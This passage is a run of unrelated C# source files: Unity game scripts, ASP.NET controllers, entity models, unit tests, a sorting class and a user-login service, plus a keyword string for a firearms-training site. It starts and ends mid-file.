mListView.Adapter = adapter; } public void init() { // init playBtn = FindViewById<Button>(Resource.Id.PlayButton); pauseBtn = FindViewById<Button>(Resource.Id.pauseBtn); stopBtn = FindViewById<Button>(Resource.Id.stopBtn); mListView = FindViewById<ListView>(Resource.Id.listView1); } private void MListView_ItemClick(object sender, AdapterView.ItemClickEventArgs e) { //Get our item from the list adapter var item = this.mListView.GetItemAtPosition(e.Position); //Make a toast with the item name just to show it was clicked Toast.MakeText(this, item + " Clicked!", ToastLength.Short).Show(); } } }
using UnityEngine; using System.Collections; //using System.Collections.Generic; public class LinkPlayerCtrl : MonoBehaviour { public UISprite WaitSprite; public UISprite [] LinkPlayerSprite; static LinkPlayerCtrl _Instance; public static LinkPlayerCtrl GetInstance() { return _Instance; } // Use this for initialization void Start () { _Instance = this; InitLinkPlayer(); } void InitLinkPlayer() { int j = 0; for (int i = 0; i < RankingCtrl.MaxPlayerRankNum; i++) { j = i + 1; LinkPlayerSprite[i].spriteName = "WPlayer_" + j; } j = 1; for (int i = RankingCtrl.MaxPlayerRankNum - 1; i > RankingCtrl.ServerPlayerRankNum - 1; i--) { LinkPlayerSprite[i].spriteName = "WAiPlayer_" + j; j++; } } public void DisplayLinkPlayerName(int val) { int tmpVal = 0; if (val > RankingCtrl.ServerPlayerRankNum) { for (int i = RankingCtrl.ServerPlayerRankNum; i < val; i++) { tmpVal = i + 1; LinkPlayerSprite[i].spriteName = "WPlayer_" + tmpVal; } } tmpVal = val + 1; LinkPlayerSprite[val].spriteName = "WPlayer_" + tmpVal; } public UISprite GetWaitPlayerSprite() { return WaitSprite; } }
using System; using System.Collections.Generic; using HiLoSocket.Extension; namespace HiLoSocket.Compressor { /// <summary> /// CompressorFactory. /// </summary> public static class CompressorFactory { private static readonly Dictionary<CompressType, ICompressor> _compressorTable = new Dictionary<CompressType, ICompressor>( ); /// <summary> /// Creates the compressor. /// </summary> /// <param name="compressType">Type of the compress.</param> /// <returns></returns> /// <exception cref="InvalidOperationException">compressor</exception> public static ICompressor CreateCompressor( CompressType compressType ) { if ( _compressorTable.TryGetValue( compressType, out var compressor ) ) return compressor; var type = Type.GetType( $"HiLoSocket.Compressor.Implements.{compressType.GetDescription( )}" ); if ( type != null ) { compressor = Activator.CreateInstance( type ) as ICompressor; _compressorTable.Add( compressType, compressor ); } if ( compressor == null ) throw new InvalidOperationException( $"無法建立對應 {nameof( compressor )} 的物件。" ); return compressor; } } }
using Discord.WebSocket; using OrbCore.ContentStructures; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace OrbCore.ContentTools { internal static class GuildUserEventTools { public static GuildUserEventContent CreateGuildUserEventContentFromSocketGuildUser(SocketGuildUser user) { return new GuildUserEventContent(user, user.Guild); } } }
namespace classicSortingAlgorithms.SortingClasses { using System.Collections.Generic; using System.Diagnostics; class InsertionSorting<T> : Sort<T> { public override string ClassName { get; set; } = "Insertion"; public override T[] Sorting(T[] array) { for (int i = 1; i < array.Length; i++) { int j = i; T current = array[j]; while (j > 0 && Comparer.Compare(array[j - 1], current) == 1) { array[j] = array[j - 1]; j--; } array[j] = current; } return array; } public InsertionSorting(T[] array, IComparer<T> comparer) : base(array) { Comparer = comparer; } public InsertionSorting(IComparer<T> comparer) : base() { Comparer = comparer; } } }
using AcoesDotNet.Model; using System; using Xunit; namespace AcoesDotNet.Testes { public class OrdemTeste { private Acao _acao; private Ordem _ordem; private Cliente _cliente; public OrdemTeste() { _cliente = new Cliente { Nome = "João", CnpjCpf = "111.111.111-11", DataNascimento = new DateTime(1983, 10, 01) }; _acao = new Acao { CodigoDaAcao = "AC01", DataCotacao = DateTime.UtcNow, }; _ordem = new Ordem { DataCompra = DateTime.UtcNow, DataOrdem = DateTime.UtcNow, CodigoAcao = _acao.CodigoDaAcao, }; } [Fact] public void CalculaValorDaOrdemTeste() { _acao.Valor = 5.000m; _ordem.QuantidadeAcoes = 5; _ordem.CalculaValorOrdem(_acao); Assert.Equal(25.000m, _ordem.ValorOrdem); } [Fact] void CalculaTaxaCorretagemPessoaFisicaTeste() { _01CalculaIsentoPessoaFisicaCompraTeste(); _02Calcula75PorcentoPessoaFisicaCompraTeste(); _03Calcula60PorcentoVendaPessoaFisica(); } [Fact] void CalculaTaxaCorretagemPessoaJuridicaTeste() { _01CalculaTaxaPessoaJuridica25PorcentoCompraTeste(); _02CalculaTaxaPessoaJuridica45PorcentoCompraTeste(); _03CalculaTaxaPessoaJuridica60PorcentoVendaTeste(); } [Fact] void CalculaImpostoRendaTeste() { var acaoDataCompra = new Acao { CodigoDaAcao = "A02", DataCotacao = DateTime.Now.Date, Valor = 1000 }; var acaoDaDataOrdem = new Acao { CodigoDaAcao = acaoDataCompra.CodigoDaAcao, DataCotacao = DateTime.Now.Date.AddMinutes(30), Valor = 2000 }; var ordem = new Ordem { CodigoAcao = acaoDaDataOrdem.CodigoDaAcao, DataCompra = acaoDaDataOrdem.DataCotacao, QuantidadeAcoes = 2, }; ordem.CalculaImpostoRenda(acaoDaDataOrdem, acaoDataCompra); Assert.Equal(300m, ordem.ImpostoRenda); CalculaIsencaoImpostoTeste(acaoDataCompra, acaoDaDataOrdem, ordem); } #region Métodos Auxiliares private void CalculaIsencaoImpostoTeste(Acao acaoDataCompra, Acao acaoDaDataOrdem, Ordem ordem) { acaoDataCompra.Valor = 4000; ordem.CalculaImpostoRenda(acaoDaDataOrdem, acaoDataCompra); Assert.Equal(Ordem.ISENTO, ordem.ImpostoRenda); } private void _03CalculaTaxaPessoaJuridica60PorcentoVendaTeste() { _ordem.TipoOrdem = Ordem.TIPO_VENDA; _ordem.CalculaValorOrdem(_acao); _ordem.CalculaTaxaCorretagem(_cliente); Assert.Equal(0.60m, _ordem.TaxaCorretagem); } private void _02CalculaTaxaPessoaJuridica45PorcentoCompraTeste() { _ordem.QuantidadeAcoes = 2; _ordem.CalculaValorOrdem(_acao); _ordem.CalculaTaxaCorretagem(_cliente); Assert.Equal(0.45m, _ordem.TaxaCorretagem); } private void _01CalculaTaxaPessoaJuridica25PorcentoCompraTeste() { _cliente.TipoPessoa = Cliente.TIPO_PESSOA_JURIDICA; _acao.Valor = 15000m; _ordem.TipoOrdem = Ordem.TIPO_COMPRA; _ordem.QuantidadeAcoes = 1; _ordem.CalculaValorOrdem(_acao); _ordem.CalculaTaxaCorretagem(_cliente); Assert.Equal(0.25m, _ordem.TaxaCorretagem); } private void _03Calcula60PorcentoVendaPessoaFisica() { _cliente.TipoPessoa = Cliente.TIPO_PESSOA_FISICA; _ordem.TipoOrdem = Ordem.TIPO_VENDA; _ordem.CalculaValorOrdem(_acao); _ordem.CalculaTaxaCorretagem(_cliente); Assert.Equal(0.70m, _ordem.TaxaCorretagem); } private void _02Calcula75PorcentoPessoaFisicaCompraTeste() { _ordem.QuantidadeAcoes = 2; _ordem.CalculaValorOrdem(_acao); _ordem.CalculaTaxaCorretagem(_cliente); Assert.Equal(0.75m, _ordem.TaxaCorretagem); } private void _01CalculaIsentoPessoaFisicaCompraTeste() { _cliente.TipoPessoa = Cliente.TIPO_PESSOA_FISICA; _acao.Valor = 15000m; _ordem.TipoOrdem = Ordem.TIPO_COMPRA; _ordem.QuantidadeAcoes = 1; _ordem.CalculaValorOrdem(_acao); _ordem.CalculaTaxaCorretagem(_cliente); Assert.Equal(Ordem.ISENTO, _ordem.TaxaCorretagem); } #endregion } }
namespace Photographers { using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Data; using Models; using System.Data.Entity.Validation; class Program { static void Main(string[] args) { var context = new PhotographerContext(); Tag tag = new Tag() { Label = "Krushi " }; context.Tags.Add(tag); try { context.SaveChanges(); } catch (DbEntityValidationException e) { tag.Label = TagTransformer.Transform(tag.Label); context.SaveChanges(); } } } }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace WebUI.Entity { public class Message { public int MessageId { get; set; } public string Name { get; set; } public string Subject { get; set; } public string Content { get; set; } public DateTime Date { get; set; } public bool Status { get; set; } } }
using System.Linq; using TpNoteDesignPatternsCSharp.DAL.Model; namespace TpNoteDesignPatternsCSharp.DAL.Query { public static class EquipementQuery { public static Equipement FilterById(this IQueryable<Equipement> equipements, int Id) { return equipements.Single(equipement => equipement.Id == Id); } public static IQueryable<Equipement> FilterByName(this IQueryable<Equipement> equipements, string name) { if (!string.IsNullOrEmpty(name)) return equipements.Where(equipement => equipement.Name.Contains(name)); return equipements; } public static IQueryable<Equipement> FilterByType(this IQueryable<Equipement> equipements, int? type = null) { if (type != null) return equipements.Where(equipement => equipement.TypeEquipement == type); return equipements; } public static IQueryable<Equipement> FilterByPersonnageId(this IQueryable<Equipement> equipements, int? Id = null) { if (Id != null) return equipements.Where(equipement => equipement.PersonnageId == Id); return equipements; } } }
namespace Jira_Bulk_Issues_Helper.Models { public class AvatarUrls { [Newtonsoft.Json.JsonProperty("48x48")] public string _48x48 { get; set; } [Newtonsoft.Json.JsonProperty("32x32")] public string _32x32 { get; set; } [Newtonsoft.Json.JsonProperty("24x24")] public string _24x24 { get; set; } [Newtonsoft.Json.JsonProperty("16x16")] public string _16x16 { get; set; } } }
using Stolons.Models; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace Stolons.ViewModels.Users { public class UserStolonViewModel : IUserViewModel { public UserStolonViewModel() { } public UserStolonViewModel(Consumer consumer, Configurations.Role userRole) { Consumer = consumer; UserRole = userRole; OriginalEmail = consumer.Email; } public string OriginalEmail { get; set; } public Consumer Consumer { get; set; } [Display(Name = "Droit utilisateur ")] public Configurations.Role UserRole { get; set; } public User User { get { return Consumer; } } } }
using Api.Core.Controllers.Base; using Api.Versioned; using System.Threading.Tasks; using System.Web.Http; using System.Web.Http.Description; namespace Api.Core.Controllers { [RoutePrefix(Constants.BaseRoute + "/" + Constants.Test)] public class TestController : BaseController { [HttpGet] [ResponseType(typeof(bool))] [VersionedRoute(Constants.GetTestBoolean, VersionConstants.VersionDefault)] public async Task<IHttpActionResult> GetTestBoolean() { return await Task.FromResult(Ok(true)); } [HttpGet] [ResponseType(typeof(bool))] [VersionedRoute(Constants.GetTestBoolean, 2)] public async Task<IHttpActionResult> GetTestBoolean_V2() { return await Task.FromResult(Ok(false)); } [HttpGet] [ResponseType(typeof(bool))] [VersionedRoute(Constants.GetTestBooleanWithParam, VersionConstants.VersionDefault)] public async Task<IHttpActionResult> GetTestBooleanWithParam(int id) { return await Task.FromResult(Ok(true)); } [HttpPost] [ResponseType(typeof(bool))] [VersionedRoute(Constants.PostTestBoolean, VersionConstants.VersionDefault)] public async Task<IHttpActionResult> PostTestBoolean() { return await Task.FromResult(Ok(true)); } } }
using System; using System.Linq.Expressions; namespace aairvid { public static class PropertyHelper { public static string GetName<TObject, TProperty>(Expression<Func<TObject, TProperty>> property) { string propertyName = ((MemberExpression)property.Body).Member.Name; return propertyName; } } }
using System; namespace SkySaves { public class MiscStatsTable { public struct Stat { public const byte General = 0; public const byte Quest = 1; public const byte Combat = 2; public const byte Magic = 3; public const byte Crafting = 4; public const byte Crime = 5; public const byte DLCStats = 6; public readonly string Name; public readonly string CategoryF; public readonly byte Category; public readonly int Value; public Stat(string name, byte category, int value) { Name = name; Category = category; Value = value; switch(category) { case General: CategoryF = "General"; break; case Quest: CategoryF = "Quest"; break; case Combat: CategoryF = "Combat"; break; case Magic: CategoryF = "Magic"; break; case Crafting: CategoryF = "Crafting"; break; case Crime: CategoryF = "Crime"; break; default: CategoryF = "DLCStats"; break; } } } public uint Count { get; private set; } public Stat[] Stats { get; private set; } public MiscStatsTable(byte[] data) { int index = 0; Count = BinHelp.GetUInt32(data, ref index); Stats = new Stat[Count]; for (int i = 0; i < Count; i++) { string name = BinHelp.GetWString(data, ref index); byte category = data[index++]; int value = BinHelp.GetInt32(data, ref index); Stats[i] = new Stat(name, category, value); } } } }
using System; using System.Collections.Generic; using System.Threading.Tasks; using AutoMapper; using Communicator.Core.Domain; using Communicator.Core.Extension; using Communicator.Infrastructure.Dto; using Communicator.Infrastructure.IRepositories; using Communicator.Infrastructure.IServices; namespace Communicator.Infrastructure.Services { public class UserService : IUserService { private readonly IUserRepository _userRepository; private readonly IMapper _mapper; private readonly IEncrypter _encrypter; public UserService(IUserRepository repository, IMapper mapper, IEncrypter encrypter) { _userRepository = repository; _mapper = mapper; _encrypter = encrypter; } public async Task<UserDto> Get(Guid id) { var user = await _userRepository.Get(id); if(user==null) throw new Exception("User not exist!."); return _mapper.Map<User, UserDto>(user); } public async Task<UserDto> Get(string login) { if(login.Empty()) throw new Exception("Login is empty!."); var user = await _userRepository.Get(login.TrimToLower()); if (user == null) throw new Exception("User not exist!."); return _mapper.Map<User, UserDto>(user); } public async Task<IEnumerable<UserDto>> GetAll() { var users = await _userRepository.Get(); return _mapper.Map<IEnumerable<User>, IEnumerable<UserDto>>(users); } public async Task Login(string login, string password) { if(login.Empty()) throw new Exception("Login can not be empty."); if (password.Empty()) throw new Exception("Password can not be empty."); var user = await _userRepository.Get(login.TrimToLower()); if (user == null) throw new Exception($"Invalid login: {login}."); var salt = _encrypter.GetSalt(password); var hash = _encrypter.GetHash(password, salt); if (user.Password == hash) { return; } throw new Exception("invalid"); } public async Task Register(string login, string password, string fname, string lname) { if (login.Empty()) throw new Exception("Login can not be empty."); if (password.Empty()) throw new Exception("Password can not be empty."); if (fname.Empty()) throw new Exception("First name can not be empty."); if (lname.Empty()) throw new Exception("Last name can not be empty."); var user = await _userRepository.Get(login.TrimToLower()); if (user != null) throw new Exception($"User with login: {login} already exist!."); var salt = _encrypter.GetSalt(password); var hash = _encrypter.GetHash(password, salt); var newUser = new User(login, hash, salt,fname, lname); await _userRepository.Add(newUser); } public async Task ChangePassword(Guid id, string password, string newPassword) { var user = await _userRepository.Get(id); if (user == null) throw new Exception($"User with id {id} not exist!."); var hash = _encrypter.GetHash(password, user.Salt); if (user.Password != hash) throw new Exception("Invalid password!."); var salt = _encrypter.GetSalt(newPassword); hash = _encrypter.GetHash(newPassword, salt); user.SetPassword(hash); user.SetSalt(salt); await _userRepository.Update(user); } } }
using System; namespace C_Object { public static class LoginInfo { public static Member Member { get; set; } } }
namespace _11._SemanticalHTML { using System; using System.Text.RegularExpressions; public class Startup { public static void Main() { string input = Console.ReadLine(); string openTagPattern = @"<(div)([^>]*)(?:id|class)\s*=\s*""(.*?)""(.*?)>"; string closeTagPattern = @"<\/div>\s*<!--\s*(.*?)\s*-->"; while (input != "END") { Match openTagMatch = Regex.Match(input, openTagPattern); Match closeTagMatch = Regex.Match(input, closeTagPattern); if (openTagMatch.Success) { input = Regex.Replace(input, openTagPattern, x => $"{x.Groups[3]} {x.Groups[2]} {x.Groups[4]}").Trim(); input = "<" + Regex.Replace(input, @"\s+", " ") + ">"; } else if (closeTagMatch.Success) { input = $"</{closeTagMatch.Groups[1]}>"; } Console.WriteLine(input); input = Console.ReadLine(); } } } }
using BenefitDeduction.Employees; using BenefitDeduction.Employees.FamilyMembers; using BenefitDeduction.EmployeesSalary; using System.Collections.Generic; namespace BenefitDeduction.EmployeeBenefitDeduction { public interface IBenefitDeductionRepository { IBenefitDeductionDetail CalculateBenefitDeductionDetail( IEmployee employee, List<IFamilyMember> familyMembers, ISalary salary ); } }
using Coldairarrow.Business.Sto_BaseInfo; using Coldairarrow.Entity.Sto_BaseInfo; using Coldairarrow.Util; using System; using System.Web.Mvc; namespace Coldairarrow.Web { public class Sto_SupplierController : BaseMvcController { Sto_SupplierBusiness _sto_SupplierBusiness = new Sto_SupplierBusiness(); #region 视图功能 public ActionResult Index() { return View(); } public ActionResult Form(string id) { var theData = id.IsNullOrEmpty() ? new Sto_Supplier() : _sto_SupplierBusiness.GetTheData(id); return View(theData); } #endregion #region 获取数据 /// <summary> /// 获取数据列表 /// </summary> /// <param name="condition">查询类型</param> /// <param name="keyword">关键字</param> /// <returns></returns> public ActionResult GetDataList(string condition, string keyword, Pagination pagination) { var dataList = _sto_SupplierBusiness.GetDataList(condition, keyword, pagination); return Content(pagination.BuildTableResult_DataGrid(dataList).ToJson()); } #endregion #region 提交数据 /// <summary> /// 保存 /// </summary> /// <param name="theData">保存的数据</param> public ActionResult SaveData(Sto_Supplier theData) { if(theData.Id.IsNullOrEmpty()) { theData.Id = Guid.NewGuid().ToSequentialGuid(); _sto_SupplierBusiness.AddData(theData); } else { _sto_SupplierBusiness.UpdateData(theData); } return Success(); } /// <summary> /// 删除数据 /// </summary> /// <param name="theData">删除的数据</param> public ActionResult DeleteData(string ids) { _sto_SupplierBusiness.DeleteData(ids.ToList<string>()); return Success("删除成功!"); } #endregion } }
using System; namespace CourseHunter_100_Self_BeliveOrNot { class Program { static void Main(string[] args) { Game game = new Game("Questions.csv"); game.EndOfGame += (sender, e) => { Console.WriteLine($"Questions asked: {e.QuestionsPassed}. Mistakes made:{e.MistacesMade}"); Console.WriteLine(e.IsWin ? "You won." : "You lost"); }; while (game.GameStatus == GameStatus.GameIsProgress) { Questions q = game.GetNextQuestions(); Console.WriteLine("Do you belive? Enter y/n !"); Console.WriteLine(q.Text); string answer = Console.ReadLine(); bool boolAnswer = answer == "y"; if (q.CorrectAnswer == boolAnswer) { Console.WriteLine("Good job, You are right"); } else { Console.WriteLine("You are wrong"); Console.WriteLine(q.Explanation); } game.GiveAnswer(boolAnswer); } Console.ReadLine(); } } }
using System.Collections.Generic; using FluentAssertions; using NUnit.Framework; namespace Hatchet.Tests.HatchetConvertTests.SerializeTests { [TestFixture] public class TypeTests { abstract class Base { } class One : Base { public string Hello; } class Two : Base { } class Container { public Base Base; } class HasStaticFields { #pragma warning disable 169, 414 public static string One = "One"; internal static string Two = "Two"; private static string Three = "Three"; #pragma warning restore 169, 414 } class HasStaticProperties { public static string One { get; set; } = "One"; public static string Two { get; set; } = "Two"; public static string Three { get; set; } = "Three"; } [SetUp] public void Setup() { HatchetTypeRegistry.Clear(); HatchetTypeRegistry.Add<One>(); } [Test] public void Serialize_SubclassOfAbstractClass_ClassNameIsSerialized() { // Arrange var b = new One {Hello = "World"}; var c = new Container {Base = b}; var inter = HatchetConvert.Serialize(c); // Act var result = HatchetConvert.Deserialize<Container>(inter); // Assert ((One) result.Base).Hello.Should().Be("World"); } [Test] public void Serialize_CollectionOfAbstractClass_EachElementHasNameAttributeWritten() { // Arrange var collection = new List<Base> {new One(), new Two()}; // Act var result = HatchetConvert.Serialize(collection); // Assert result.Should().Contain("Class One"); result.Should().Contain("Class Two"); } [Test] public void Serialize_ClassWithStaticFields_StaticPropertiesAreNotSerialized() { // Arrange var input = new HasStaticFields(); // Act var result = HatchetConvert.Serialize(input); // Assert result.Should().NotContain("One"); result.Should().NotContain("Two"); result.Should().NotContain("Three"); } [Test] public void Serialize_ClassWithStaticProperties_StaticPropertiesAreNotSerialized() { // Arrange var input = new HasStaticProperties(); // Act var result = HatchetConvert.Serialize(input); // Assert result.Should().NotContain("One"); result.Should().NotContain("Two"); result.Should().NotContain("Three"); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace DAL.Models { public class Invoice { public int Id { get; set; } public bool Paid { get; set; } public DateTime CreateDate { get; set; } public Guid PrivateCode { get; set; } public decimal TotalAmount { get; set; } public decimal AmountPaid { get; set; } public bool Deleted { get; set; } public DateTime? DeletedDate { get; set; } public virtual Store Store { get; set; } public int StoreId { get; set; } public Invoice() { CreateDate = TimeZoneInfo.ConvertTime(DateTime.Now, TimeZoneInfo.FindSystemTimeZoneById("Eastern Standard Time")); PrivateCode = Guid.NewGuid(); Paid = false; AmountPaid = 0m; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; namespace StudyManagement.StudyManagement { public partial class StudentForm : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { LoginSession(); } } private void LoginSession() { if (Session["userFirstName"] != null) { login_status.Text = Session["userFirstName"].ToString(); login_status.ForeColor = System.Drawing.Color.LimeGreen; } if (Session["userLastName"] != null) { login_status1.Text = Session["userLastName"].ToString(); login_status1.ForeColor = System.Drawing.Color.LimeGreen; } } } }
using IsoTools; using UnityEngine; using System.Collections; using UnityEngine.UI; namespace Caapora { public abstract class CharacterBase : CreatureBase, IAutoMovable { protected static bool _canLauchWater = true; public static bool isPlayingAnimation; public Vector3 prevPosition; public bool stopWalking = false; protected Image ManaBar; public string _moveDirection; private GameObject Water; private GameObject Bucket; protected override IsoObject iso_object { get; set; } protected override IsoRigidbody iso_rigidyBody { get; set; } public virtual void Awake() { _canLauchWater = true; _animator = GetComponent<Animator>(); prevPosition = Vector3.zero; } public virtual void Start() { base.Start(); } public virtual void Update() { base.Update(); MainController(); } public void ThrowWater() { if (canLauchWater()) { _canLauchWater = false; _animator.SetTrigger("Atack2"); StartCoroutine(launchOject("Water", 5)); } } public IEnumerator launchOject(string type, float distance) { GameObject objeto; switch (type) { case "Water": objeto = Instantiate(Resources.Load("Prefabs/splashWaterPrefab")) as GameObject; break; case "Bucket": GameObject baldeTmp = Inventory.getItem(); baldeTmp.GetComponent<Balde>().Active(); objeto = baldeTmp; break; default: objeto = Instantiate(Resources.Load("Prefabs/splashWaterPrefab")) as GameObject; break; } var playerCurPosition = GetComponent<IsoObject>().position; var balde = Inventory.getItem().GetComponent<Balde>(); IsoRigidbody objRb = objeto.GetComponent<IsoRigidbody>(); IsoObject obj = objeto.GetComponent<IsoObject>(); objRb.mass = 0.1f; if (InputController.instance.lookingAt == "right") { obj.position = playerCurPosition + (Vector3.right + Vector3.down) / 3; objRb.velocity = (Vector3.right + Vector3.down) * 3; balde.UseWalter(); } if (InputController.instance.lookingAt == "left") { obj.position = playerCurPosition + (Vector3.left + Vector3.up) / 3; objRb.velocity = (Vector3.left + Vector3.up) * 3; balde.UseWalter(); } if (InputController.instance.lookingAt == "up") { obj.position = playerCurPosition + (Vector3.up + Vector3.right) / 3; objRb.velocity = (Vector3.up + Vector3.right) * 3; balde.UseWalter(); } if (InputController.instance.lookingAt == "down") { obj.position = playerCurPosition + (Vector3.down + Vector3.left) / 3; objRb.velocity = (Vector3.down + Vector3.left) * 3; balde.UseWalter(); } yield return new WaitForSeconds(0.5f); _canLauchWater = true; } public IEnumerator CharacterMovement(string direction, int steps) { isPlayingAnimation = true; for (int i = 0; i < steps; i++) { moveDirection = direction; if (direction == "jump") InputController.instance.AClick = true; isPlayingAnimation = (i == steps - 1) ? false : true; yield return new WaitForSeconds(.02f); moveDirection = ""; } } public string moveDirection { get { return _moveDirection; } set { _moveDirection = value; } } public IEnumerator ShakePlayer() { // instance.caapora = instance.gameObject.GetComponent<IsoObject>(); for (int i = 0; i < 10; i++) { iso_rigidyBody.velocity = new Vector3(0, 0, 0.5f); yield return new WaitForSeconds(.08f); } } private void MainController() { if (isPlayingAnimation) animator.speed = 1; if (iso_rigidyBody) { if (moveDirection == "left") { moveLeft(); } else if (moveDirection == "right") { moveRight(); } else if (moveDirection == "down") { moveDown(); } else if (moveDirection == "up") { moveUp(); } else { animator.SetTrigger("Idle"); } } } private bool canLauchWater() { return !Inventory.isEmpty() && Inventory.getItem().GetComponent<Balde>().waterPercent > 0 && _canLauchWater; } public abstract void moveRight(); public abstract void moveLeft(); public abstract void moveUp(); public abstract void moveDown(); public float life { get { return _life; } set { _life = value; } } } // end CharacterController } // end namespace
using System.Collections; using System.Collections.Generic; using UnityEditor; using UnityEngine; namespace Ezphera.TimerScore { [CustomEditor(typeof(Timer))] public class TimerEditor : Editor { Timer timer; SerializedProperty timerFrom; private void OnEnable() { timer = (Timer)target; timerFrom = serializedObject.FindProperty("startFrom"); } public override void OnInspectorGUI() { serializedObject.Update(); if (Application.isPlaying) { GUIOnPlaying(); } else { timer.timerType = (Timer.TimerType)EditorGUILayout.EnumPopup("Timer Type", timer.timerType); if (timer.timerType == Timer.TimerType.Countdown) { EditorGUILayout.PropertyField(timerFrom, new GUIContent("Start Timer From"), true); } } } void GUIOnPlaying() { EditorGUILayout.HelpBox("Timer isPlaying: " + timer.isPlaying, MessageType.Info); EditorGUILayout.Space(); GUIStyle timerSectionStyle = new GUIStyle(); timerSectionStyle.fontSize = 35; timerSectionStyle.alignment = TextAnchor.MiddleCenter; if (timer.isPlaying) timerSectionStyle.fontStyle = FontStyle.Bold; EditorGUILayout.BeginHorizontal(); try { EditorGUILayout.LabelField(timer.GetTimeText(), timerSectionStyle); } finally { EditorGUILayout.EndHorizontal(); } } } }
using System; namespace Tests.Data.Oberon { public class DebtAdjustment { public long Id { get; set; } public DateTime AdjustedOn { get; set; } public decimal Amount { get; set; } public string Reason { get; set; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Utilities { public static class SharedTools { private const string PISTOL_META = @"pistol,permit,gun,CT Pistol Permit,firearms training,revolver,firearm,nra,class,pistol permit class,firearms, training,best concealed carry pistol,CT Pistol Permit Class,Connecticut Pistol Permit Class,conceal and carry, conceal and carry permit, conceal carry permit, concealed carry classes, concealed carry course,concealed carry courses, concealed carry license,concealed carry permit classes,concealed carry permit reciprocity,concealed carry permits, concealed carry pistol,concealed carry reciprocity,concealed carry reciprocity map,concealed carry states map, concealed handgun license,concealed weapon permit,concealed weapons license,concealed weapons permit class, connecticut concealed carry,connecticut pistol permit classes,federal pistol permit,firearm license,firearm safety course,firearms safety course,gun classes,gun permits,gun safety class,gun safety classes, Greenwich, Stamford, Darien, Norwalk, Westport, Bridgeport, Stratford, Milford, New Haven, Connecticut, CT, Wilton, Ridgefield, Danbury, Weston, Easton"; public static string GetMetaTag(string PageName) { string result = ""; switch (PageName) { case "PistolMain": result = PISTOL_META; break; } return result; } } }
using System.Threading.Tasks; using Microsoft.AspNetCore.Authentication; using Microsoft.AspNetCore.Http; namespace CodingMilitia.PlayBall.WebFrontend.BackForFront.Web.Security { public class EnforceAuthenticatedUserMiddleware : IMiddleware { public async Task InvokeAsync(HttpContext context, RequestDelegate next) { if (!context.User.Identity.IsAuthenticated) { await context.ChallengeAsync(); return; } await next(context); } } }
using System.Diagnostics; using Microsoft.AspNetCore.Mvc; using Samples.AspNetCore.Mvc.Models; using Sentry; namespace Samples.AspNetCore.Mvc.Controllers; public class HomeController : Controller { private readonly IGameService _gameService; private readonly ILogger<HomeController> _logger; public HomeController(IGameService gameService, ILogger<HomeController> logger) { _gameService = gameService; _logger = logger; } [HttpGet] public IActionResult Index() { return View(); } // Example: An exception that goes unhandled by the app will be captured by Sentry: [HttpPost] public async Task PostIndex(string @params) { try { if (@params == null) { _logger.LogWarning("Param is null!", @params); } await _gameService.FetchNextPhaseDataAsync(); } catch (Exception e) { var ioe = new InvalidOperationException("Bad POST! See Inner exception for details.", e); ioe.Data.Add("inventory", // The following anonymous object gets serialized: new { SmallPotion = 3, BigPotion = 0, CheeseWheels = 512 }); throw ioe; } } // Example: The view rendering throws: see about.cshtml public IActionResult About(string who = null) { if (who == null) { // Exemplifies using the logger to raise a warning which will be sent as an event because MinimumEventLevel was configured to Warning // ALso, the stack trace of this location will be sent (even though there was no exception) because of the configuration AttachStackTrace _logger.LogWarning("A {route} '{value}' was requested.", // example structured logging where keys (in the template above) go as tag keys and values below: "/about", "null"); } return View(); } // Example: To take the Sentry Hub and submit errors directly: public IActionResult Contact( // Hub holds a Client and Scope management // Errors sent with the hub will include all context collected in the current scope [FromServices] IHub sentry) { try { // Some code block that could throw throw null; } catch (Exception e) { e.Data.Add("detail", new { Reason = "There's a 'throw null' hard-coded here!", IsCrazy = true }); var id = sentry.CaptureException(e); ViewData["Message"] = "An exception was caught and sent to Sentry! Event ID: " + id; } return View(); } public IActionResult Test() { throw new Exception("Test exception thrown in controller!"); } public IActionResult Error() { return View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier }); } }
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Http.Internal; using Microsoft.AspNetCore.Mvc; using Newtonsoft.Json; using Newtonsoft.Json.Linq; // For more information on enabling Web API for empty projects, visit https://go.microsoft.com/fwlink/?LinkID=397860 namespace WebCore.WebApi { [ApiController] [Route("api/GetMsg")] public class GetMsgController : Controller { [HttpGet(nameof(GetProductList))] public IEnumerable<Product> GetProductList() { return new List<Product> { new Product { Id = 1, Name = "T430笔记本", Price = 8888, Description = "CPU i7标压版,1T硬盘" }, new Product { Id = 2, Name = "华为Mate10", Price = 3888, Description = "大猩猩屏幕,多点触摸" }, new Product { Id = 3, Name = "天梭手表", Price = 9888, Description = "瑞士经典款,可好了" } }; } [HttpGet("GetModel/{id:int}/{name}/{price:int}/{description}")] public Product GetModel([FromRoute]int id, [FromRoute]string name, [FromRoute]int price, [FromRoute]string description) { return new Product { Id = id, Name = name, Price = price, Description = description }; } [HttpGet("GetModel")] public Product GetModel([FromQuery] Product product) { return product; } [HttpGet("GetModel2")] public Product GetModel2([FromHeader] Product product) { return product; } [HttpGet("GetModel3")] public Product GetModel3([FromQuery]JObject product) { return JsonConvert.DeserializeObject<Product>(product.ToString()) ; } [HttpPost(nameof(Send_MI))] public SendSMSRequest Send_MI([FromBody]SendSMSRequest model) => model; [HttpPost(nameof(Send_LX))] public SendSMSRequest Send_LX([FromBody]SendSMSRequest model) { Console.WriteLine($"通过联想短信接口向{model.PhoneNum}发送短信{model.Msg}"); var cookie = this.HttpContext.Request.Cookies["test_coockie"]; this.HttpContext.Response.Cookies.Append("test_coockie", "helloworld"); model.Cookie = cookie; return model; } [HttpGet(nameof(GetFormData))] public IFormCollection GetFormData([FromServices]IHostingEnvironment hostingEnvironment) { FormFileCollection formFiles = new FormFileCollection(); var path = 